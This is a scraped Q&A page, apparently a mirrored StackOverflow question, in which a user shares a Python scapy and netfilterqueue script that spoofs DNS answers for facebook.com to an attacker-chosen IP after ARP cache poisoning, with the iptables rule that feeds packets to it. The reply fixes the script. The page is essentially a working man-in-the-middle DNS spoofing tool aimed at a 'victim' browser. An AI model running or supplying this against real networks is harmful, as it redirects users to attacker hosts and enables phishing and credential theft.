Python dns 欺骗不起作用名称未解析

Posted

技术标签:

【中文标题】Python dns 欺骗不起作用名称未解析【英文标题】:Python dns spoofing dont work nome not resolved 【发布时间】:2019-04-14 05:13:14 【问题描述】:

我不知道为什么mi脚本不起作用,受害者浏览器显示:ERR:命名未解析。

我的脚本

from scapy.all import *
from netfilterqueue import NetfilterQueue

spoofDomain = 'www.facebook.com'
spoofResolvedIp = '172.16.16.162'
queueId = 1

def dnsSpoof(packet):
        originalPayload = IP( packet.get_payload() )

        if not originalPayload.haslayer(DNSQR):
                # Not a dns query, accept and go on
                packet.accept()
        else:
                if ("m.facebook.com" in originalPayload[DNS].qd.qname) or ("facebook.com" in originalPayload[DNS].qd.qname) or ("www.facebook.com" in originalPayload[DNS].qd.qname) or ("edge-chat.facebook.com" in originalPayload[DNS].qd.qname):
                        print "Intercepted DNS request for " + spoofDomain + ": " + originalPayload.summary()

                        # Build the spoofed response
                        spoofedPayload = IP(dst=originalPayload[IP].dst, src=originalPayload[IP].src)/\
                          UDP(dport=originalPayload[UDP].dport, sport=originalPayload[UDP].sport)/\
                          DNS(id=originalPayload[DNS].id, qr=1, aa=1, qd=originalPayload[DNS].qd,\
                          an=DNSRR(rrname=originalPayload[DNS].qd.qname, ttl=10, rdata=spoofResolvedIp))

                        print "Spoofing DNS response to: " + spoofedPayload.summary()
                        packet.set_payload(str(spoofedPayload))
                        packet.accept()
                        print "------------------------------------------"
                else:
                        # DNS query but not for target spoofDomain, accept and go on
                        packet.accept()

# bind the callback function to the queue
nfqueue = NetfilterQueue()
nfqueue.bind(queueId, dnsSpoof)

# wait for packets
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()

我使用 iptables -t mangle -I FORWARD -p udp -j NFQUEUE --queue-num 1 命令。

首先,我通过 ARP 缓存欺骗执行中间人攻击。我用wireshark看流量,好像还可以,不知道怎么回事。

【问题讨论】:

嗨!欢迎来到***。发布大脚本并要求一个广泛的未知错误不是很有吸引力..您应该先尝试调查,显示正在发生的事情的wireshark屏幕截图,日志...以便您的问题更容易解决 【参考方案1】:

我解决了这个问题,我正在寻找我没有看到的问题,抱歉

if not originalPayload.haslayer(DNSQR)

DNSQR是dns查询,我想取dns答案,所以代码是:

if not originalPayload.haslayer(DNSRR)

【讨论】:

以上是关于Python dns 欺骗不起作用名称未解析的主要内容,如果未能解决你的问题,请参考以下文章

使用开发安装后,警告对未解决的引用不起作用

域名解析在 Ubuntu64 9.04 机器上的 Java 应用程序中不起作用。所有其他软件都能正确解析 DNS

AngularJS、SweetAlert.js 在自定义指令中不起作用

iis 7.5 dns windows身份验证页面用户身份不起作用

错误:未找到参数名称,尝试了 df.Data 但它不起作用?? (朱莉娅)

+名称+在Python 3.8.2 shell中不起作用